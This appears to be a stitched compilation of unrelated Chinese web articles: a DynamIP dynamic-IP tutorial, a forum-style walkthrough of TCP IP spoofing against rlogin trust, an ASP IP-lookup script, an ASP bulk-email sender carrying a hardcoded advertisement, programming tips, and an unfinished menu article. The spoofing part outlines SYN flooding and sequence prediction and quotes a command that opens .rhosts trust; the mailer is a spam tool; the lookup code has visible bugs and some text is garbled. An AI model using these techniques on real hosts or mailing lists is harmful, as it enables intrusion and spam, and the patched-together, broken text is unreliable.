由于大多数上网用户每次上网都自动获得一个动态的IP地址,这就使两台计算机之间建立直接、方便的点对点TCP/IP连接存在一定障碍。解决的办法是通过间接的方式进行连接,即通信双方同时登录到某个提供服务的主机上,由该主机建立双方的间接连接,网络电话、网络寻呼、网络游戏大都使用这一方法。随着技术的成熟和发展,这种网络连接服务可以提供诸如网络会议、多方通话、多方游戏等服务,已经突破了双机连接的局限。
3. 点对点TCP/IP连接的直接实现
支持直接TCP/IP连接的软件很多,例如微软的网络电话软件NetMeeting,唯一的前提就是双方必须在联网时相互获得对方的动态IP地址,或者更简单地,只要知道被呼叫方的IP地址即可,这类似于知道被叫方的电话号码即可建立电话联系。于是关键问题就是捕捉和交换各自的动态IP地址,或者捕捉和发布自己的动态IP地址以等待呼叫进而建立连接。
三、动态IP地址的捕捉与发布
1. 动态IP地址的捕捉
有许多方法和工具来实现动态IP地址的捕捉,Windows 95/98提供了一个IP 配置 (WINIPCFG) 实用程序,使用方法是单击"开始-运行",在"打开"框中键入:winipcfg,出现程序窗口后,可以单击"详细信息"进行查看(图1)。IP配置实用程序允许用户或管理员查看当前IP地址和其他与网络配置有关的有用信息,有关配置信息包括主机名、DNS服务器、IP地址、网络掩码等。可以重置一个或多个IP地址。"释放"或"更新"按钮分别释放或更新一个IP地址。如果希望释放或更新所有IP 地址,请单击"全部释放"或"全部更新"。其他工具也可以实现本机IP地址的查询。
2.动态IP地址的发布
可以将得到的动态IP地址更新到自己的主页上,这样所有访问者都可以通过该地址呼叫主页的所有者,建立点对点的TCP/IP连接。
四、动态IP地址捕捉发布工具—DynamIP
知道了原理,就可以借助工具来完成这一过程。DynamIP就是一个很好的动态捕捉与发布工具。DynamIP的主要功能有:
1. DUN/RAS Dialer with Event Driven Program Launcher:具有事件驱动功能的拨号工具,可根据用户要求或者自动定时进行拨号,并且可以在诸如"新连接建立"或"连接终止"等事件的驱动下运行/关闭其他应用程序,当网络流量低于设定值时可以自动终止联结,这对于无人值守下载大软件时特别有用。
2. Uploader(Dynamic IP address poster):文件上载工具(动态IP地址发布)。DynamIP可以将你的动态IP地址发布在指定的Web页面上,并自动地将该页面上载到服务器。当然也可以用来更新和上载任意文件,例如用来定期上载图形文件,而该文件是利用数码相机自动定期拍摄的,于是该主页就成了一个现场直播的页面。
3. DIPS Client:DIPS客户端软件,DIPS(Dynamic IP Server)是动态IP服务器的简称,在申请了一个免费账户后,动态IP服务器可以在主页中显示一个指向你的动态IP的URL,形式为:http://postmodem.com/dips/<你的账户名>。
这一功能允许网上用户通过该URL访问你的本地主页,这是指在本地主机安装的Web服务器(例如个人Web服务器)。当你要调试主页或者无法找到一个提供满意的免费主页服务器,或者你认为上载主页太浪费时间时,这项功能就显得尤为重要,目前的虚拟域名服务与此不同的是,虚拟域名服务要求你的主页必须安放在具有固定域名的主页服务器上,然后才能提供转移访问,而动态IP服务器则可以随时跟踪你的动态IP,并将访问者转移到你的本地Web服务器上。只要你联网并且你的本地Web服务器正在运行,DynamIP可以自动地确定你的DIPS信息是否需要更新到动态IP服务器。配合DIPS,用户可以在不上载任何文件的情况下进行Web聊天。
4. POP mail checker:电子信箱检查,可最多检查5个不同的POP3账户,并在新邮件到来后以可视或声音信号进行提示,自动运行E-mail客户端软件取信。
5. IP chat:点对点IP聊天,类似IRC,但是不需要任何IRC服务器,DynamIP可以在用户指定IP地址区间内扫描,你可以向所有聊天成员或者特定IP地址广播消息,你可以向其他聊天成员打招呼以引起对方注意并建立一个私人聊天。DynamIP支持微软网络电话软件MS NetMeeting。
6. WEBchat:Web聊天。你的主页访问者可以利用浏览器直接与你对话,即使对方没有安装DynamIP,前提是你在主页中安装了如图2的页面,该页面将被DynamIP动态更新,浏览器必须支持forms,Netscape和Internet Explorer,毫无疑问都支持forms。访问者可以在forms中填写语句,然后按submit按钮,该语句被发送到你的计算机(利用DynamIP捕获的动态IP)。可以与功能3配合实现本地Web聊天,则不必上载主页到任何服务器。
7. HTTPscan:HTTP扫描。DynamIP可以在用户指定IP地址区间内扫描,并以超文本文件格式生成一个包含所有被搜索到的HTTP服务器的清单。用途之一是当你与某人进行点对点IP聊天时,你可以立即访问对方的主页。
8. PC Clock Synchronizer:时钟同步。DynamIP可以从NTP服务器获得精确的日期和时间以校准你的机器时钟,另外也可以用来部分地解决"千年虫"问题。
五、DynamIP的安装、设置
1. DynamIP的安装
DynamIP的安装只有一个条件,那就是你的Windows系统中必须有VB6.0的运行库—MSVBVM60.DLL。该文件没有包含在DynamIP的软件包中,用户必须从微软公司VB官方站点下载,文件名是Vbrun60new.exe,它是自动安装文件,文件长度为1MB。
2. DynamIP的设置
DynamIP的基本原理是很简单的,DynamIP将利用模板文件(Template)中的各项形式参数来更新一个本地文件,该文件包含了你的当前动态IP地址,然后DynamIP自动上载该文件到你的个人主页服务器,于是其他访问你的主页的用户可以利用该页面上的动态IP地址信息与你建立连接,实现各种网络应用;或者DynamIPS更新你的DIPS信息到动态IP服务器,所有访问该服务器的用户可以被转移到你的本地Web服务器上。所以在设置和准备DynamIP的时候,一切工作都是围绕这个模板文件和你的动态IP地址进行的。
DynamIP的主要功能是Uploader文件上载工具(动态IP地址发布),本文将以此为例介绍DynamIP的设置,其他各项功能的设置类似。运行DynamIP,选择setup-uploader,则进入设置窗口(图3),各项参数如下:
Active:打开/关闭此项服务;
Remote Host:你的主页所在的FTP主机地址,注意不要填写主机上的路径;
Login:你的FTP账户名;
Password:你的FTP账户口令;这三项参数使得DynamIP可以登录到你的FTP主机,自动上载更新的文件,通常填写的是存放主页的主机地址。
Template Online:联机模板文件,该文件将用来生成包含你的IP地址的动态本地文件(LocalFile),模板文件不会被更新。本地文件和模板文件名字不能相同,否则DynamIP不会正常工作。如果此项填写"",则DynamIP将上载未更新的本地文件,可以用来上载数码相机拍摄的图片进行动态直播,参看"refresh every"。
Template OFFline:脱机模板文件,通常与联机模板相同,如果你想在脱机之前上载一个不同的页面,你可以选择一个不同的模板文件,此项可以填写"",功能同上。
Local File:本地动态文件的路径和文件名,以联机或者脱机模板文件为样式更新的文件,包含用户当前动态IP地址等信息。
Remote File:存放在FTP服务器上的远程动态文件的路径和文件名,本地动态文件将上载和覆盖该文件,不要填写服务器的域名或者IP地址。
IP:联机模板文件中的IP地址形式参数,该参数将在联机时被用户当前的动态IP地址所替换,DynamIP默认的形式参数是NOT.ON.LINE.NOW,通常没有必要改动,若改动,则此项内容必须与模板文件中的形式参数名完全相同。模板文件中还包含了其他形式参数,如IP、DateTime、WEBchat、HTTP Server、FTP Server,这些形式参数都将在联机时被DynamIP自动替换,因此最好不要随便改动,即使改动,也要注意每个形式参数的名称不得相同
,并且各项内容必须与模板文件中的形式参数名完全相同。
post last IP(OFFline):张贴上次IP地址,脱机模板文件中代表上次IP地址的形式参数,默认值为( is the default value)。此项内容必须与模板文件中的形式参数名完全相同。
DateTime:联机模板文件中的日期时间形式参数。
HTTP Server/Port:联机模板文件中的HTTP服务器/端口形式参数,这里的HTTP服务器系建立在本地主机上的HTTP服务器(例如个人Web服务器),DynamIP用你的当前动态IP地址替换该参数,以便将访问者转移到你的本地Web服务器。默认值为:"default value is HTTP Server NOT available. "默认端口值为:80。
FTP Server/Port:联机模板文件中的FTP服务器/端口形式参数,含义同上,只是服务器为本地FTP服务器。默认值为:"FTP Server NOT available",默认端口值为:21。
FTP UserID:联机模板文件中的FTP用户ID形式参数,默认值为:"anonymous",可以改变为其他账户名。
六、DynamIP应用实例
假如网上任意两个用户(实际上是计算机)能够相互知道对方的IP地址,则双方就能利用TCP/IP建立直接的点对点网上连接,进行信息沟通。更进一步,主叫方只要获得了被叫方的IP地址,就可以发出呼叫、建立连接、实现应用,如利用网络电话直接通话或者发送文件。DynamIP正是抓住了建立点对点IP连接的关键环节,捕捉并发布用户的当前动态IP地址,以便接收其他用户的呼叫。以下为DynamIP应用举例。
1. 点对点网络电话
在主页中添加下面一行语句:
我正在网上,请给我打电话
若访问者通过IE浏览器访问该页面,点击该超链接将会运行网络电话软件NetMeeting呼叫IP地址为111.222.123.123的计算机,如果对方的NetMeeting处于等待状态,则可以接收到呼叫,并进行通话。
微软公司的浏览器支持callto协议,可以用NetMeeting呼叫该超链接指定的IP地址。但是Netscape的浏览器不支持callto,解决的办法是改为一个指向快速拨号文件的超链接,这样无论是在IE还是在Netscape中,打开该拨号文件都会运行网络电话软件NetMeeting。
语句如下:
我正在网上,请给我打电话
这里ls.cnf是一个NetMeeting的快速拨号文件,记录了被叫方的IP地址,内容如下:
[ConferenceShortcut]
ConfName=111.222.123.123
Address=111.222.123.123
CallFlags=65543
Transport=1
类似的语句还有:click here to call me,可以激活Vocaltech Iphone。
以上工作可以直接利用DynamIP的联机模板文件(图2)来实现,DynamIP将利用模板文件更新本地动态文件,上载并覆盖远程动态文件,主页的访问者看到的是包含当前IP地址的超链接,点击超链接将会激活网络电话软件,建立点对点网络电话连接服务。网络电话NetMeeting支持利用服务器实现的间接连接和呼叫对方IP地址的直接点对点连接,这里使用的是后者。如果你上载了脱机文件,访问者将得知你不在网上。
2. IP chat:点对点IP聊天(图4),类似IRC,但是不需要任何IRC服务器,因为双方已经知道IP地址。注意要在Setup--pchat中打开Active。工具栏中有用于呼叫、扫描、睡眠/唤醒的各项功能按钮。
3. WEBchat:Web聊天,你的主页访问者可以利用浏览器直接与你对话(图5),即使对方没有安装DynamIP,前提是你在主页中安装了如图2的页面,该页面将被DynamIP动态更新。
用户可以决定上载联机文件或者脱机文件,以便及时通知访问者自己是否联网。
4. 动态IP的个人Web服务器:若已经在本地主机安装了个人Web服务器,可以利用DIPS服务,将访问者转移到你的本地主机。这需要申请一个免费账户。网址是:
http://postmodem.com/dips-admin/。
七、总结与提示
DynamIP可以捕获和发布用户的当前动态IP地址,从而使点对点的IP连接成为可能,这些是网络传呼软件无法做到的。另外,对于每一种基本功能,如果能够巧妙地结合其他方法,往往能实现更复杂的应用。例如,你是否想过在运行TCP/IP的局域网上使用DynamIP的强大功能呢?
同时应该注意到,DynamIP更像是为高级网络用户准备的发烧级工具。在网上公布自己的动态IP地址固然有利于沟通,但同时也带来了相当大的风险,因为黑客用以搜索和攻击目标的坐标就是IP地址,许多流行黑客工具甚至只需要一个输入参数—你的IP地址。因此,最好不要在存放重要资料的计算机上进行这些高级网络应用试验。
IP欺骗的技术
IP欺骗的技术比较复杂,不是简单地照猫画老虎就能掌握,但作为常规攻击手段,有必要理解其原理,至少有利于自己的安全防范,易守难攻嘛。
假设B上的客户运行rlogin与A上的rlogind通信:
1. B发送带有SYN标志的数据段通知A需要建立TCP连接。并将TCP报头中的sequence number设置成自己本次连接的初始值ISN。
2. A回传给B一个带有SYS+ACK标志的数据段,告之自己的ISN,并确认B发送来的第一个数据段,将acknowledge number设置成B的ISN+1。
3. B确认收到的A的数据段,将acknowledge number设置成A的ISN+1。
B ---- SYN ----> A
B <---- SYN+ACK A
B ---- ACK ----> A
TCP使用的sequence number是一个32位的计数器,从0-4294967295。TCP为每一个连接选择一个初始序号ISN,为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同系统有不同算法。理解TCP如何分配ISN以及ISN随时间变化的规律,对于成功地进行IP欺骗攻击很重要。
基于远程过程调用RPC的命令,比如rlogin、rcp、rsh等等,根据/etc/hosts.equiv以及$HOME/.rhosts文件进行安全校验,其实质是仅仅根据信源IP地址进行用户身份确认,以便允许或拒绝用户RPC。关于上述两个文件请man,不喜欢看英文就去Unix版看看我以前灌过的一瓢水。
IP欺骗攻击的描述:
1. 假设Z企图攻击A,而A信任B,所谓信任指/etc/hosts.equiv和$HOME/.rhosts中有相关设置。注意,如何才能知道A信任B呢?没有什么确切的办法。我的建议就是平时注意搜集蛛丝
马迹,厚积薄发。一次成功的攻击其实主要不是因为技术上的高明,而是因为信息搜集的广泛翔实。动用了自以为很有成就感的技术,却不比人家酒桌上的巧妙提问,攻击只以成功为终极目标,不在乎手段。
2. 假设Z已经知道了被信任的B,应该想办法使B的网络功能暂时瘫痪,以免对攻击造成干扰。著名的SYN flood常常是一次IP欺骗攻击的前奏。请看一个并发服务器的框架:
int initsockid, newsockid;
if ((initsockid = socket(...)) <0) {
error("can't create socket");
}
if (bind(initsockid, ...) <0) {
error("bind error");
}
if (listen(initsockid, 5) <0) {
error("listen error");
}
for (;;) {
newsockid = accept(initsockid, ...); /* 阻塞 */
if (newsockid <0) {
error("accept error");
}
if (fork() == 0) { /* 子进程 */
close(initsockid);
do(newsockid); /* 处理客户方请求 */
exit(0);
}
close(newsockid);
}
listen函数中第二个参数是5,意思是在initsockid上允许的最大连接请求数目。如果某个时刻initsockid上的连接请求数目已经达到5,后续到达initsockid的连接请求将被TCP丢弃。注意一旦连接通过三次握手建立完成,accept调用已经处理这个连接,则TCP连接请求队列空出一个位置。所以这个5不是指initsockid上只能接受5个连接请求。SYN flood正是一种Denial of Service,导致B的网络功能暂 碧被尽?nbsp;
Z向B发送多个带有SYN标志的数据段请求连接,注意将信源IP地址换成一个不存在的主机X;B向子虚乌有的X发送SYN+ACK数据段,但没有任何来自X的ACK出现。B的IP层会报告B的TCP层,X不可达,但B的TCP层对此不予理睬,认为只是暂时的。于是B在这个initsockid上再也不能接收正常的连接请求。
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
......
X <---- SYN+ACK B
X <---- SYN+ACK B
X <---- SYN+ACK B
X <---- SYN+ACK B
X <---- SYN+ACK B
......
作者认为这样就使得B网络功能暂时瘫痪,可我觉得好象不对头。因为B虽然在initsockid上无法接收TCP连接请求,但可以在another initsockid上接收,这种SYN flood应该只对特定的
服务(端口),不应该影响到全局。当然如果不断地发送连接请求,就和用ping发洪水包一个道理,使得B的TCP/IP忙于处理负载增大。至于SYN flood,回头有机会我单独灌一瓢有关DoS的。如何使B的网络功能暂 碧被居 很多办法,根据具体情况而定,不再赘述。
3. Z必须确定A当前的ISN。首先连向25端口(SMTP是没有安全校验机制的),与1中类似,不过这次需要记录A的ISN,以及Z到A的大致的RTT(round trip time)。这个步骤要重复多次以便求出
RTT的平均值。现在Z知道了A的ISN基值和增加规律(比如每秒增加128000,每次连接增加64000),也知道了从Z到A需要RTT/2的时间。必须立即进入攻击,否则在这之间有其他主机与A连接,
ISN将比预料的多出64000。
4. Z向A发送带有SYN标志的数据段请求连接,只是信源IP改成了B,注意是针对TCP513端口(rlogin)。A向B回送SYN+ACK数据段,B已经无法响应(凭什么?按照作者在2中所说,估计还达不到这个效果,因为Z必然要模仿B发起connect调用,connect调用会完成全相关,自动指定本地socket地址和端口,可事实上B很可能并没有这样一个端口等待接收数据。除非Z模仿B发起
连接请求时打破常规,主动在客户端调用bind函数,明确完成全相关,这样必然知道A会向B的某个端口回送,在2中也针对这个端口攻击B。可是如果这样,完全不用攻击B,bind的时候
指定一个B上根本不存在的端口即可。我也是想了又想,还没来得及看看老外的源代码,不妥之处有待商榷。总之,觉得作者好象在蒙我们,他自己也没有实践成功过吧。),B的TCP层只是
简单地丢弃A的回送数据段。
5. Z暂停一小会儿,让A有足够时间发送SYN+ACK,因为Z看不到这个包。然后Z再次伪装成B向A发送ACK,此时发送的数据段带有Z预测的A的ISN+1。如果预测准确,连接建立,数据传送开始。问题在于即使连接建立,A仍然会向B发送数据,而不是Z,Z仍然无法看到A发往B的数据段,Z必须蒙着头按照rlogin协议标准假冒B向A发送类似 "cat + + >> ~/.rhosts" 这样的命令,于是攻击完成。如果预测不准确,A将发送一个带有RST标志的数据段异常终止连接,Z只有从头再来。
Z(B) ---- SYN ----> A
B <---- SYN+ACK A
Z(B) ---- ACK ----> A
Z(B) ---- PSH ----> A
......
6. IP欺骗攻击利用了RPC服务器仅仅依赖于信源IP地址进行安全校验的特性,建议阅读rlogind的源代码。攻击最困难的地方在于预测A的ISN。作者认为攻击难度虽然大,但成功的可能性
也很大,不是很理解,似乎有点矛盾。考虑这种情况,入侵者控制了一台由A到B之间的路由器,假设Z就是这台路由器,那么A回送到B的数据段,现在Z是可以看到的,显然攻击难度
骤然下降了许多。否则Z必须精确地预见可能从A发往B的信息,以及A期待来自B的什么应答信息,这要求攻击者对协议本身相当熟悉。同时需要明白,这种攻击根本不可能在交互状态下完
成,必须写程序完成。当然在准备阶段可以用netxray之类的工具进行协议分析。
7. 如果Z不是路由器,能否考虑组合使用ICMP重定向以及ARP欺骗等技术?没有仔细分析过,只是随便猜测而已。并且与A、B、Z之间具体的网络拓扑有密切关系,在某些情况下显然大幅度
降低了攻击难度。注意IP欺骗攻击理论上是从广域网上发起的,不局限于局域网,这也正是这种攻击的魅力所在。利用IP欺骗攻击得到一个A上的shell,对于许多高级入侵者,得到目标主
机的shell,离root权限就不远了,最容易想到的当然是接下来进行buffer overflow攻击。
8. 也许有人要问,为什么Z不能直接把自己的IP设置成B的?这个问题很不好回答,要具体分析网络拓扑,当然也存在ARP冲突、出不了网关等问题。那么在IP欺骗攻击过程中是否存在ARP冲突问题。回想我前面贴过的ARP欺骗攻击,如果B的ARP Cache没有受到影响,就不会出现ARP冲突。如果Z向A发送数据段时,企图解析A的MAC地址或者路由器的MAC地址,必然会发送ARP请求包,但这个ARP请求包中源IP以及源MAC都是Z的,自然不会引起ARP冲突。而ARP Cache只会被ARP包改变,不受IP包的影响,所以可以肯定地说,IP欺骗攻击过程中不存在ARP冲突。相反,如果Z修改了自己的IP,这种ARP冲突就有可能出现,示具体情况而言。攻击中连带B一起攻击了,其目的无非是防止B干扰了攻击过程,如果B本身已经down掉,那是再好不过(是吗?)。
9. fakeip曾经沸沸扬扬了一下,我对之进行端口扫描,发现其tcp端口113是接收入连接的。和IP欺骗等没有直接联系,和安全校验是有关系的。当然,这个东西并不如其名所暗示,对IP层没有任何动作。
10. 关于预测ISN,我想到另一个问题。就是如何以第三方身份切断A与B之间的TCP连接,实际上也是预测sequence number的问题。尝试过,也很困难。如果Z是A与B之间的路由器,就不用说了;或者Z动用了别的技术可以监听到A与B之间的通信,也容易些;否则预测太难。作者在3中提到连接A的25端口,可我想不明白的是513端口的ISN和25端口有什么关系?看来需要看看TCP/IP内部实现的源代码。
未雨绸缪
虽然IP欺骗攻击有着相当难度,但我们应该清醒地意识到,这种攻击非常广泛,入侵往往由这里开始。预防这种攻击还是比较容易的,比如删除所有的/etc/hosts.equiv、$HOME/.rhosts文件,修改/etc/inetd.conf文件,使得RPC机制无法运做,还可以杀掉portmapper等等。设置路由器,过滤来自外部而信源地址却是内部IP的报文。cisio公司的产品就有这种功能。不过路由器只防得了外部入侵,内部入侵呢?
TCP的ISN选择不是随机的,增加也不是随机的,这使攻击者有规可循,可以修改与ISN相关的代码,选择好的算法,使得攻击者难以找到规律。估计Linux下容易做到,那solaris、irix、hp-unix还有aix呢?sigh
虽然作者纸上谈兵,但总算让我们了解了一下IP欺骗攻击,我实验过预测sequence number,不是ISN,企图切断一个TCP连接,感觉难度很大。作者建议要找到规律,不要盲目预测,这需要时间和耐心。现在越发明白什么是那种锲而不舍永远追求的精神,我们所向往的传奇故事背后有着如此沉默的艰辛和毅力,但愿我们学会的是这个,而不是浮华与喧嚣。一个现成的bug足以让你取得root权限,可你在做什么,你是否明白?我们太肤浅了......
全球IP地址查询完整版(2002-2-9)
突然在某某网站看到IP地址查询,于是心血来潮做了一个。这是用asp查询全球IP地址的程式,由于类似的的用Asp查询IP的速度不是很理想,本人使用的也是宏志宏的IP地址数据库,只是对它进行了改进。
本人在 win98+pws+access2000上测试通过,效果比较理想。
数据库的设计在一个软件中的比例,毫不夸张的说占60%,虽然这是一个小的程式,但也得到一定的体现。
有任何错误或建议请一定要给我发E-mail: ljz811@163.com ,我也不了解"追捕"等类似算法,欢迎交流,谢谢!
好了废话少说,开始吧。
1、 转wry.dll为.mdb由于我们要优化数据库(适合我们用的),建议这样做:
将文件改为wry.xls用Excel打开。
在Access中新建表IP
字段名 类型 长度 说明
------------------------------------------------------------------------------------------------------------
id 自动编号
newid 数字 5 startip前三个数字
seconded 数字 5 startip第二部分三个数字
startip 文本 20 起始IP段
endip 文本 20 止 IP 段
country 文本 此段IP所在国家或省
local 文本 此段IP所在地
从Excel中copy startip/endip/country/local 四个字段至Access ,id会自动添加,对于newid和secondid当然我们不可能手工添加,可以这样实现。
<!--#include file="dbpath.asp"-->
<%
sqlcmd="select * from ip"
‘建议使用sqlcmd="select * from ipwhere id>=值1 and id<值2" ,因为对于一万个左右的数据一下子添加资源占用很大
set rs=ip.execute(sqlcmd)
do while not rs.eof
fir=left(rs("startip"),3)
sec=mid(rs("startip"),5,3)
sqlcmd3="update ip set newid='"&str&"',secondid='"sec"' "
ip.execute sqlcmd3
rs.movenext
loop
%>
这样就完成数据库的修改,对于dbpath.asp 文件下面讲
2、 文件介绍
本程序分 dbpath.asp 和 search.asp
以下是源程序及简要描述
Dbpath.Asp 代码如下:(本人命名数据库名字为ip.mdb)
<%@ Language=VBScript %>
<% set ip=server.createobject("ADODB.CONNECTION")
ip.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath("ip.mdb") %>
search.asp 代码如下:
<!--#include file="dbpath.asp"-->
<%
' Write by 尥蹶子
' If you find some error or you have better idea
' Please contact me
' My Email: ljz811@163.com Oicq:30763914
%>
<%
'建立一个提交的表单
%>
<BODY bgColor=azure>
<P align=center>IP查询<BR><BR><BR>
<FORM action="index.asp" method=post id=form1 name=form1>
<font size=2>输入IP:</font><INPUT id=text1 name=putip
style ="BACKGROUND-COLOR: lavender; HEIGHT: 22px; WIDTH: 182px" >
<INPUT id=submit1 name=sub1 style="BACKGROUND-COLOR: lightblue; FONT-SIZE: 12" type=submit value="我查" tabindex="0">
</FORM>
<%
userip=Request.ServerVariables ("REMOTE_ADDR")
listip=trim(request("putip"))
if listip="" or listip=" " then
Response.Write "<p align=center><font size=2>请输入IP地址!</font></p>"
else
'---判断访问者的IP是否与输入的ip同
cmp=strcomp(userip,listip,1)
if cmp=0 then %>
<p align=center><font size=2 >这就是你自己呀!</p>
<%
else
'获得输入ip的第1段,并置3位
num1=Instr(listip,".")
'判断第一段是否正确
if mun1=1 then
Response.Write "<p align=center>"&listip&"<br>"&" <font size=2 >非有效的IP地址,IP每段必须1~3位!</p>"
else
fir=left(listip,num1-1)
if len(fir)=2 then
fir=0&fir
end if
if len(fir)=1 then
fir=0&fir
fir=0&fir
end if
'获得输入ip的第2段,并置3位
num2=Instr(num1+1,listip,".")
sec=mid(listip,num1+1,num2-(num1+1))
if len(sec)=2 then
sec=0&sec
end if
if len(sec)=1 then
sec=0&sec
sec=0&sec
end if
'获得输入ip的第3段,并置3位
num3=Instr(num2+1,listip,".")
thr=mid(listip,num2+1,num3-(num2+1))
if len(thr)=2 then
thr=0&thr
end if
if len(thr)=1 then
thr=0&thr
thr=0&thr
end if
'获得输入ip的第4段,并置3位
fou=right(listip,len(listip)-num3)
if len(fou)=2 then
fou=0&fou
end if
if len(fou)=1 then
fou=0&fou
fou=0&fou
end if
'判断是否为有效IP
if len(fir)=0 or len(fir)>3 or len(sec)=0 or len(sec)>3 or len(thr)=0 or len(thr)>3 or len(fou)=0 or len(fou)>3 then
Response.Write "<p align=center>"&listip&"<br>"&" <font size=2 >非有效的IP地址,IP每段必须1~3位!</p>"
else
'判断是否为保留地址
if ((fir>=0) and (fir<= 2)) or ((fir>=58) and (fir<=60)) or ((fir>=67) and (fir<=126)) then
Response.Write "<p align=center>"&listip&"<br>"&" <font size=2 >Internet IP保留地址!</p>"
else
'判断是否为分配地址
if (fir>=219 and fir<=223) or fir=225 then
Response.Write "<p align=center>"&listip&"<br>"&" <font size=2 >此IP地址尚未分配!</p>"
else
if fir>255 or fir<0 or sec>255 or sec<0 or thr>255 or thr<0 or fou>255 or fou<0 then
Response.Write "<p align=center>"&listip&"<br>"&" <font size=2 >Internet IP地址输入值不正确!</p>"
else
'查询IP地址数据库
Set sql= Server.CreateObject("ADODB.Recordset")
rs1="select id,startip,endip,country,local from ip where id<9904 and newid="&fir&" and secondid="&sec&" "
sql.open rs1,ip,1,1
'对于类似224.000.000.000~224.255.255.255的ip地址进行处理
if sql.RecordCount = 1 then
sql.Close
sqlcmd2="select id,startip,endip,country,local from ip where id<9904 and newid="&fir&" and secondid="&sec&" order by id desc"
set rs=ip.execute(sqlcmd2)
else
sqlcmd2="select id,startip,endip,country,local from ip where id<9904 and newid="&fir&" order by id desc"
set rs=ip.execute(sqlcmd2)
if rs.eof then
%>
<br><br><font size="2"><P align=center><%=listip%><br>★未知IP数据★<BR>如果你知道请告诉我!OICQ:30763914 谢谢!<BR>=尥蹶子=</font></P>
<% else
do while not rs.eof
'*******处理country or local为空的情况,使用了按id倒排(why?因为根据IP地址表可知,先列大地区的ip段,例如先列出欧洲的062.000.000.000~062.255.255.255,再列英国等IP段)
'对后面三段IP进行处理,是否在IP表内
if (sec>=(mid(rs("startip"),5,3)) and (sec<=mid(rs("endip"),5,3))) and (thr>=(mid(rs("startip"),9,3)) and (thr<=mid(rs("endip"),9,3))) and (fou>=(mid(rs("startip"),13,3)) and (fou<=mid(rs("endip"),13,3))) then
%>
<center><font size=2><%=listip%><br><%=rs("country")%> <%=rs("local")%></font></center>
<%
'若查到数据,马上跳出以免占用资源
exit do
else
end if
if rs.eof then
'如果没有打出提示
%>
<br><br><font size="2"><P align=center><%=listip%><br>★未知IP数据★<BR>如果你知道请告诉我!OICQ:30763914 谢谢!<BR>=尥蹶子=</font></P>
<%
end if
rs.movenext
loop
end if
end if
%>
<%
end if
end if%>
<%end if%>
<%end if%>
<%end if%>
<%end if%><%end if%>
</BODY>
</HTML>
电子邮件群发程序asp版本!
电子邮件群发程序asp版本!
支持html format 才用文本数据库。
<HTML>
<HEAD>
<TITLE>电子邮件群发程序asp版本!</TITLE>
</HEAD>
<BODY>
<%
set fsObj = Server.CreateObject("Scripting.FileSystemObject")
FilePath = Server.MapPath("email.txt")
set txtsObj = fsObj.OpenTextFile(FilePath, 1, false)
%>
<%
Do While Not txtsObj.atEndOfStream
mailto=txtsObj.ReadLine
%>
<%
dim mymail
set mymail=createobject("CDONTS.NewMail")
html="<html><head>"
html=html&"<title>聚才网络新年大礼包</title></head><body>"
html=html&"<br><font size=2>迎新年,我们为您企业建立网站推出了一系列服务套餐(特惠型880/套、标准型1500/套、商务型3000/套、智强型8888/套),可以帮助您的企业轻轻松松在网上安家.轻松电子商务.供域名注册、虚拟主机、网站建设、服务器托管、整机租用、系统集成等,专注于企业上网工程各种解决方案,帮企业进行网络营销等电子商务活动.我们会以真诚的服务,最佳的质量让您满意!</font>"
html=html&"<br><font size=2>电话:0755-5526667</font>"
html=html&"<br><font size=2>电子邮件:service@chinaut.net</font>"
html=html&"<br><font size=2>网址:<A href=http://www.chinaut.net target=_blank>http://www.chinaut.net </a></font>"
html=html&"<br><font size=2>网址:<a href=http://sz.joinline.com target=_blank>http://sz.joinline.com</a></font>"
html=html&"<br><center><a href=http://www.chinaut.net target=_blank><img src=http://smtp.xajob.net/happy0.gif></a></center>"
html=html&"</body></html>"
'mymail.AttachURL "http://smtp.xajob.net/test.gif","test.gif"
mymail.from="support@chinaut.net"
mymail.to= mailto
mymail.subject="谢谢访问!"
mymail.bodyformat=0
mymail.mailformat=0
mymail.body=html
mymail.Send
%>
<%
Loop
%>
<%
response.write "send ok!"
%>
</BODY>
</HTML>
关于学习ASP和编程的28个观点
1.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单,或者可以引伸出很多知识点;
2.会用asp,并不说明你会asp;
3.看asp的书,是学不了asp语言的;
4.浮躁的人容易说:asp语言不行了,应该学yy;——是你自己不行了吧!?
5.浮躁的人容易问:我到底该学什么;——别问,学就对了;
6.浮躁的人容易问:asp有钱途吗;——建议你去抢银行;
7.浮躁的人容易说:我要中文版!我英文不行!——不行?学呀!
8.浮躁的人容易问:asp和yy哪个好;——告诉你吧,都好——只要你学就行;
9.浮躁的人分两种:a)只观望而不学的人;b)只学而不坚持的人;
10.把时髦的技术挂在嘴边,还不如把过时的技术记在心里;
11.学习编程最好的方法之一就是阅读源代码;
12.在任何时刻都不要认为自己手中的书已经足够了;
13.看得懂的书,请仔细看;看不懂的书,请硬着头皮看;
14.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍;
15.和别人一起讨论有意义的asp知识点,而不是争吵asp行不行或者yy与zz哪个好;
16.学习编程的秘诀是:编程,编程,再编程;
17.请把书上的程序例子亲手输入到电脑上实践,即使配套光盘中有源代码;
18.把在书中看到的有意义的例子扩充;
19.经常回顾自己以前写过的程序,并尝试重写,把自己学到的新知识运用进去;
20.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路;
21.就让asp语言的各种平台和开发环境去激烈的竞争吧,我们要以学习asp语言本身为主
22.决不要因为程序"很小"就不遵循某些你不熟练的规则——好习惯是培养出来的,而
不是一次记住的;
23.每学到一个asp难点的时候,尝试着对别人讲解这个知识点并让他理解——你能讲清
楚才说明你真的理解了;
24.记录下在和别人交流时发现的自己忽视或不理解的知识点;
25.请不断的对自己写的程序提出更高的要求,哪怕你的程序版本号会变成version 100.
xx;
26.保存好你写过的所有的程序——那是你最好的积累之一;
27.请不要做浮躁的人;
28.请热爱asp!
在WEB项目中多维下拉菜单的实现技巧和方法
〓简介〓
【摘要】对于web项目中下拉菜单的设计,尤其涉及到复杂的多维菜单,许多web开发的入门者往往不知所措,网络中关于此类问题的讨论也是屡见不鲜。文章旨在通过一个实例的分析,帮助初学者掌握web项目中多维动态下拉菜单的实现原理和方法,帮助入门者熟悉javascript、DHTML、ASP等相互结合的技巧,从而找到一种动态下拉菜单的通用解决方案。
〓正文〓
前 言
